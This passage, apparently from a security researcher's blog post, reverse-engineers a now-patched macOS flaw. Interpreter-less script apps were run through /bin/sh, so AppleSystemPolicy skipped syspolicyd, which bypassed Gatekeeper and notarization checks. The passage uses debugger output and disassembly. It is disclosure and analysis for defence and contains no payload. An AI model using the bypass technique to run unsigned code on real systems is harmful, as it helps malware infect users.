is a valid mach-O binary, this function succeeds, meaning sh
is successfully spawned. Of course any script-related members of its image_params
structure remain unset (NULL), as sh
is not a script:
(lldb) expr *(struct image_params*)0xffffff934e3c3000 (struct image_params) $1 = { ... ip_strings = 0xffffffa04a011000 "executable_path=/bin/sh" ... ip_scriptlabelp = 0x0000000000000000 ip_scriptvp = 0x0000000000000000 }
…but it, sh
is (about) to execute untrusted the PoC script! ๐คญ
Recall that we’re really just attempting to figure why the PoC application is allowed to execute, though it is unsigned and unnotarized.
So far, we shown that a script-based application will be executed via the posix_spawnp
API. This API will first attempt to directly execute the application’s script. If this fails (as was the case with the PoC’s interpreter-less script), the script instead will be executed directly via /bin/sh
.
…however, this second attempt means that script-based members of the image_params
structure such as ip_scriptlabelp
and ip_scriptvp
are not set.
Is this an issue? YES!! …let’s now show exactly why!
But first, also recall we previously conjectured that as syspolicyd
was not displaying any log messages (related to evaluating the PoC), it perhaps was not being invoked at all …to scan (and analyze) the proof of concept! And if syspolicyd
was not called upon to examine the PoC, it would be allowed to execute without being subject to File Quarantine, Gatekeeper, and notarization checks.
Figuring out who is responsible for invoking syspolicyd
to evaluate applications (and confirming why for the PoC syspolicyd
was not invoked) was not a trivial venture. However, various spelunking and googling ultimately gives us the answer.
In this section of the blog post we’ll explore macOS’s application policy check logic, largely focusing on the AppleSystemPolicy
kernel extension. Specifically, we’ll show how this extension acts as the initial arbiter to evaluate processes (such as our PoC) and then (normally) delegates continued evaluation to the user-mode syspolicyd
daemon.
As noted in a previous blog post, the syspolicyd
daemon will perform various policy checks and ultimately prevent the execution of untrusted applications, such as those that are unsigned or unnotarized.
But, what if the AppleSystemPolicy
kext decides that the syspolicyd
daemon does not need to be invoked? Well then, the process is allowed! And if this decision is made incorrectly, well then, you have a lovely File Quarantine, Gatekeeper, and notarization bypass.
The AppleSystemPolicy
kext is briefly detailed in an excellent write up by the macOS security researcher (and #OBTS speaker!) Scott Knight. In a blog post titled “syspolicyd
Internals” Scott notes the following:
AppleSystemPolicy
kext hooks various MACF
operations such as mac_proc_notify_exec_complete
.
AppleSystemPolicy
kext is the “client” of the syspolicyd
daemon.
As both of these are relevant in the context of our problematic PoC let’s dig in a bit more.
First, let’s examine the MACF
operations that AppleSystemPolicy
kext hooks. In a nutshell Mandatory Access Control Framework (MACF
) is a private kernel framework that allows Apple kexts to hook a myriad of (MACF) operations. Such hook (or callbacks) will then be invoked automatically by the kernel proper, and thus afford the kext (who registered the hook) the opportunity to a take a action …for example, to examine and block untrusted processes!
In his blog post, Scott pointed out the AppleSystemPolicy
kext hooks mac_proc_notify_exec_complete
. This is also confirmed in an appendix for Jonathon Levin’s invaluable *OS Internal books, which notes:
“A new MACF Policy, AppleSystemPolicy (com.apple.SystemPolicy), is now in use in MacOS. The policy (identified as ‘ASP’) hooks mac_proc_notify_exec_complete (new in this version)…”
If we disassemble the AppleSystemPolicy
kext, we can see that within its start
method, it invokes an method, aptly named registerMACPolicy
. This method will initialize a MACF policy structure, mac policy_conf
(with the MACF hooks/callbacks it is interested in including mac_proc_notify_exec_complete
), the register via call to the mac_policy_register
API:
1int _AppleSystemPolicy::registerMACPolicy() {
2 ...
3
4 *(rdi + 0x468) = proc_notify_exec_complete(proc*);
5 *(rdi + 0x298) = file_check_library_validation(proc*, fileglob*, long long, long long, unsigned long);
6 *(rdi + 0x1b8) = file_check_mmap(ucred*, fileglob*, label*, int, int, unsigned long long, int*);
7 *(rdi + 0x128) = cred_label_update_execve(ucred*, ucred*, proc*, vnode*, long long, vnode*, label*, label*, label*, unsigned int*, void*, unsigned long, int*);
8
9 *(rdi + 0xb10) = "ASP";
10 *(rdi + 0xb18) = "Apple System Policy";
11
12 rax = mac_policy_register(rdi + 0xb10, rdi + 0xb60, 0x0);
13 ...
14}
As shown in the above decompilation, the kext’s hook for mac_proc_notify_exec_complete
is named proc_notify_exec_complete
, which ultimately calls AppleSystemPolicy::procNotifyExecComplete
.
A quick triage of this rather involved method reveals strings such as “ASP: Security policy would not allow process” and method calls such as:
AppleSystemPolicy::getDaemonPort
ASPEvaluationManager::createEvaluation
ASPEvaluationManager::addEvaluationRequest
AppleSystemPolicy::blockRevokedProcess
AppleSystemPolicy::evaluateScript
The former method name are related to AppleSystemPolicy
kext communications and delegations to the user-mode syspolicyd
daemon. Levin notes that “[AppleSystemPolicy] makes upcalls to /usr/libexec/syspolicyd over HOST_SYSPOLICYD_PORT (i.e. host special port #29). "
We can confirm this by looking at the disassembly of the getDaemonPort
method, which reveals a call to the host_get_special_port
port with 0x1D
(29d):
1mov rdi, rax ; host_priv
2mov esi, 0FFFFFFFFh ; node
3mov edx, 1Dh ; which
4mov rcx, rbx ; port
5call host_get_special_port
And if we pop into user-mode and look at the launch daemon property list for syspolicyd
(/System/Library/LaunchDaemons/com.apple.security.syspolicy.plist
), we see that indeed it will create a Mach (com.apple.security.AppleSystemPolicy.mig
) listener on port 29:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ...>
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.security.syspolicy</string>
<key>MachServices</key>
<dict>
<key>com.apple.security.AppleSystemPolicy.mig</key>
<dict>
<key>HostSpecialPort</key>
<integer>29</integer>
</dict>
<key>com.apple.security.syspolicy.kext</key>
<true/>
<key>com.apple.security.syspolicy.exec</key>
<true/>
<key>com.apple.security.syspolicy</key>
<true/>
</dict>
<key>ProgramArguments</key>
<array>
<string>/usr/libexec/syspolicyd</string>
</array>
...
Back to the methods invoked from AppleSystemPolicy
’s procNotifyExecComplete
method, the AppleSystemPolicy::evaluateScript
one seem particularly relevant to our script-based PoC.
So, let’s set a kernel-mode breakpoint on this method and execute a “normal” script-based application (that is, one with a correctly specified interpreter):
…as expected the breakpoint is triggered:
(lldb) b 0xffffff8010dd4ed6 Breakpoint 1: where = AppleSystemPolicy`AppleSystemPolicy::evaluateScript(ASPProcessInfo*, ASPScriptInfo*), address = 0xffffff8010dd4ed6 (lldb) c Process 1 resuming ... Process 1 stopped * thread #1, stop reason = breakpoint 1.1 frame #0: 0xffffff8010dd4ed6 AppleSystemPolicy`AppleSystemPolicy:: evaluateScript(ASPProcessInfo*, ASPScriptInfo*) AppleSystemPolicy`AppleSystemPolicy::evaluateScript: -> 0xffffff8010dd4ed6 <+0>: int3
…moreover, if we look at the stack backtrace (via the bt
debugger command), we confirm it was called by MACF subsystem in response to the mac_proc_notify_exec_complete
hook installed by the AppleSystemPolicy
kext:
(lldb) bt * thread #1, stop reason = breakpoint 1.1 * frame #0: 0xffffff8010dd4ed6 AppleSystemPolicy`AppleSystemPolicy:: evaluateScript(ASPProcessInfo*, ASPScriptInfo*) frame #1: 0xffffff8010dd5ba7 AppleSystemPolicy`AppleSystemPolicy:: procNotifyExecComplete(proc*) + 645 frame #2: 0xffffff800fe9ca2f kernel`mac_proc_notify_exec_complete( proc=0xffffff86936d3140) at mac_mach.c:228:2
If we reverse the evaluateScript
method, as expected we see if calls out to syspolicyd
in order to perform the script evaluation in user-mode (note the log message, “Calling out for script evaluation”):
1int AppleSystemPolicy::evaluateScript(...)
2 ...
3 rax = AppleSystemPolicy::getDaemonPort();
4
5 rax = ASPEvaluationManager::createEvaluation();
6
7
8 ASPEvaluationManager::addEvaluationRequest(gEvaluationManager);
9 ...
10
11 if (Config::verboseLoggingEnabled() != 0x0) {
12 ASPProcessInfo::uid();
13 ASPEvaluationInfo::path();
14 os_log_internel(0xffffff8010dce000, *qword_e058, 0x0, "Calling out for script evaluation: %d, %s", ASPProcessInfo::uid(), ASPEvaluationInfo::path());
15 }
…and if the script-based application is untrusted (read: not notarized) once syspolicyd
processes the evaluation request, it will soundly reject it:
And what about our interpreter-less PoC application? Well, if we execute it, AppleSystemPolicy
’s evaluateScript
method is never called!?! ๐ณ
…meaning syspolicyd
is never invoked to evaluate the PoC!
…at the time this was strange, as we assumed syspolicyd would be invoked to evaluate the application.
Now, the lack of log messages (from syspolicyd), all makes sense as it’s never even asked to evaluate the PoC! Rude!?
Of course the question is, why isn’t syspolicyd
invoked to evaluate our non-notarized PoC application? The short answer is, AppleSystemPolicy
doesn’t think it needs to! But let’s show exactly why.
Recall that AppleSystemPolicy
’s evaluateScript
method is invoked by the procNotifyExecComplete
(which is itself called for each process launch, thanks to the mac_proc_notify_exec_complete
MACF hook that AppleSystemPolicy
installed).
First take a look at the following image that contains an annotation implementation of this method, reconstructed from its disassembly:
Turns out it’s simpler to understand the conditions upon which the evaluateScript
method is invoked by debugging a normal script-based application, that specifies an interpreter (which will trigger the call to evaluateScript
).
First though, let’s look at the conditional code (within procNotifyExecComplete
) that must be fulfilled before evaluateScript
is invoked:
1//within procNotifyExecComplete
2if ( (r15 != 0x0) &&
3 ((r13 != 0x0) &&
4 (*(var_178 + 0x18) == 0x0)) )
5{
6 ...
7 ASPScriptInfo::ASPScriptInfo(&ASP_Script_OBJ, r13);
8 AppleSystemPolicy::evaluateScript(procArg, &ASP_OBJ);
9 ...
10}
We see various registers (e.g. r15
and r13
) and that must not be NULL, as well as some local variable who’s value must be 0x0.
We’ll focus on the r13
register, for reasons that will become clearly shortly.
As noted, if the r13
register is NULL, the call to evaluateScript
will be skipped.
First, we find that the r13
is initialized with the value of a local variable (var_100
):
10x0000000000007d2f mov r13, qword [rbp+var_100]
…looking back in the disassembly, we find this local variable is initialized with a vnode of a path:
10x0000000000007ca2 call vnode_for_path(char const*)
2...
30x0000000000007caa mov qword [rbp+var_100], rax
40x0000000000007cb1 test rax, rax
50x0000000000007cb4 jne loc_7cc7
Note that if the call to vnode_for_path
fails, the jne
instruction will not be taken which triggers an error message to be logged …and error message with the following format:
"ASP: Unable to retrieve vnode for script: %s
Based on this, we can assume the vnode is being retrieved from the path of the script. We can confirm this, by looking at the disassembly just prior to the call to vnode_for_path
10x0000000000007c85 call ASPProcessInfo::cred()
20x0000000000007c8a mov rax, qword [rax+0x78]
30x0000000000007c8e movsxd rcx, dword [rbx+0xb64]
40x0000000000007c95 mov rbx, qword [rax+rcx*8+8]
50x0000000000007c9a test rbx, rbx
60x0000000000007c9d je loc_7cf8
70x0000000000007c9f mov rdi, rbx
80x0000000000007ca2 call vnode_for_path(char const*)
From this, we can see the code invokes a helper method (::cred
) which simply invokes the proc_ucred
Apple API to retrieve a kauth_cred_t
for a specified process (e.g. the process being evaluated).
The code then extracts something from offset 0x78
in the kauth_cred_t
structure, and adds this other value (from offset 0xb64
).
If we look at the kauth_cred_t
, we find typedef
’d as a pointer to a ucred
structure, which is defined in sys/ucred.h
. And what’s at offset 0x78
?? A pointer to label
structure named cr_label
that the comments specify is a “MAC label”
We can confirm this, by printing out the kauth_cred_t
structure returned by the call to ASPProcessInfo::cred
and then manually the value at offset 0x78
(and confirm they are the same):
(lldb) expr *(kauth_cred_t)$rax (ucred) $1 = { ... cr_label = 0xffffff868a67d580 } (lldb) x/gx $rax+0x78 0xffffff868a2a0bb8: 0xffffff868a67d580
BSD documentation, notes that this label structure “consists of a fixed-length array of unions, each holding a void * pointer and a long.”
struct label {
int l_flags;
union {
void *l_ptr;
long l_long;
} l_perpolicy[MAC_MAX_SLOTS];
};
The value (extracted from offset 0xb64
of rbx
) is an index, required to index into the correct l_perpolicy
slot. During dynamic analysis, this value was also 0x3.
As this value extracted from this structure is then passed to the vnode_for_path
API, we can assume it’s a path. But to what? Our script!
We can confirm this in the debugger by printing out the label
structure (from the ucred
structure returned by the call to ASPProcessInfo::cred()
) …specifically the value found in l_perpolicy[0x3]
(lldb) expr *(struct label*)0xffffff868b6ee300 (struct label) $1 = { l_flags = 1 l_perpolicy = { [0] = (l_ptr = 0xffffff86845033f0, l_long = -521766161424) [1] = (l_ptr = 0x0000000000000000, l_long = 0) [2] = (l_ptr = 0xffffff934d70cac0, l_long = -466852197696) [3] = (l_ptr = 0xffffff934e591800, l_long = -466836973568) [4] = (l_ptr = 0x0000000000000000, l_long = 0) [5] = (l_ptr = 0x0000000000000000, l_long = 0) [6] = (l_ptr = 0x0000000000000000, l_long = 0) } } (lldb) x/s 0xffffff934e591800 0xffffff934e591800: "/Users/user/Desktop/Script.app/Contents/MacOS/Script"
…recall that in the exec_activate_image
function during the process launch of a normal script-based application, the ip_scriptlabelp
member would be set and appears to have been initialized with the path to the script (in l_perpolicy[0x3]
).
If we continue to debug, and stop to the call to the vnode_for_path
API we can confirm this path (found in the rdi
register), is passed to the API:
Process 1 stopped * thread #4, name = '0xffffff867f178500', queue = '0x0', stop reason = breakpoint 2.1 frame #0: 0xffffff800c5d5ca2 AppleSystemPolicy`AppleSystemPolicy:: procNotifyExecComplete(proc*) + 896 AppleSystemPolicy`AppleSystemPolicy::procNotifyExecComplete: -> 0xffffff800c5d5ca2 <+896>: vnode_for_path(char const*) Target 0: (kernel) stopped. (lldb) x/s $rdi 0xffffff9348992400: "/Users/user/Desktop/Script.app/Contents/MacOS/Script
No real surprise, the code is simply looking the vnode of the path of the script that it’s about to be executed.
So the vnode_for_path
API is being invoked to get the vnode
of the script, which then recall is (eventually) moved into the r13
register.
And again recall that if the r13
register is not NULL, the evaluateScript
function will be invoked! (which in turn calls out to syspolicyd
to evaluate and block untrusted scripts).
Great! But what happens if the exec_activate_image
function does not set the ip_scriptlabelp
member? Well, this means the code in the procNotifyExecComplete
that checks if this MAC label is NULL will trigger:
10x0000000000007c85 call ASPProcessInfo::cred()
20x0000000000007c8a mov rax, qword [rax+0x78]
30x0000000000007c8e movsxd rcx, dword [rbx+0xb64]
40x0000000000007c95 mov rbx, qword [rax+rcx*8+8]
50x0000000000007c9a test rbx, rbx
60x0000000000007c9d je loc_7cf8
Specifically the ‘je’ (jump equal/zero) instruction at 0x0000000000007c9d
will be taken, which explicitly NULLs out the local variable which normally holds the vnode of the script:
10x0000000000007cf8 xor eax, eax
20x0000000000007cfa mov qword [rbp+var_100], rax
As this variable (var_100
) is what populates the r13
register, this means the r13
register will be NULL, which recall, means the evaluateScript
is not called!
…which explain why our PoC application is never evaluated, and thus allowed to execute though it is unsigned and unnotarized.
Well, we covered a lot, so let’s end by succinctly summarizing the bug:
When a script-based application with no specified interpreter is launched, execution initially fails with ENOEXEC
. This causes the script to be (re)executed via /bin/sh
.
As /bin/sh
is a Mach-O (not a script), no script labels are set. Thus the script is never evaluated (nor blocked) by syspolicyd
.
The policy engine just sees /bin/sh
(a trusted platform binary), and thus allows it to execute. Of course /bin/sh
then executes the PoC script.
End result? Though the PoC’s script is unsigned and not notarized, it is allowed to execute! #gameover ๐ฅฒ
The vast, vast, majority of macOS malware requires some user interaction (such as directly running the actual malicious code) in order to infect a macOS system. Unfortunately such macOS malware still abounds and everyday countless Mac users are infected.
Since 2007 (with the introduction of File Quarantine), Apple has sought to protect users from inadvertently infecting themselves if they are tricked into running such malicious code. This is a good thing as sure, users may be naive, but anybody can make a mistakes. Moreover such protections (specifically notarization requirements) may now even protect users from advanced supply-chain attacks …and more.
Unfortunately due to a subtle logic flaw spread across various components of the macOS kernel, such security mechanisms were proven fully and 100% moot, and as such we (well macOS), were basically back to square one.
In this blog post, we started with an unsigned, unnotarized, script-based proof of concept application that could trivially and reliably sidestep all of macOS’s relevant security mechanisms (File Quarantine, Gatekeeper, and Notarization Requirements) …even on a fully patched M1 macOS system. Armed with such a capability macOS malware authors could return to their proven methods of targeting and infecting macOS users. Yikes again!
The core of the blog post dug deep into both the application launch mechanism (in both user and kernel mode), as well as the system policy internals found within the AppleSystemPolicy
kernel extension. This analysis revealed exactly why “interpreter-less” script-based applications were “ignored” by policy engine. And thus, essential security logic, such as alerting the user and blocking the untrusted application, was skipped.
Luckily Apple has now patched the flaw, originally in macOS 12 beta 6 and also then in macOS 11.6.
And even before that, if you were running BlockBlock with “notarization mode” enabled, you’d have been protected (even though BlockBlock had no a priori knowledge of this flaw):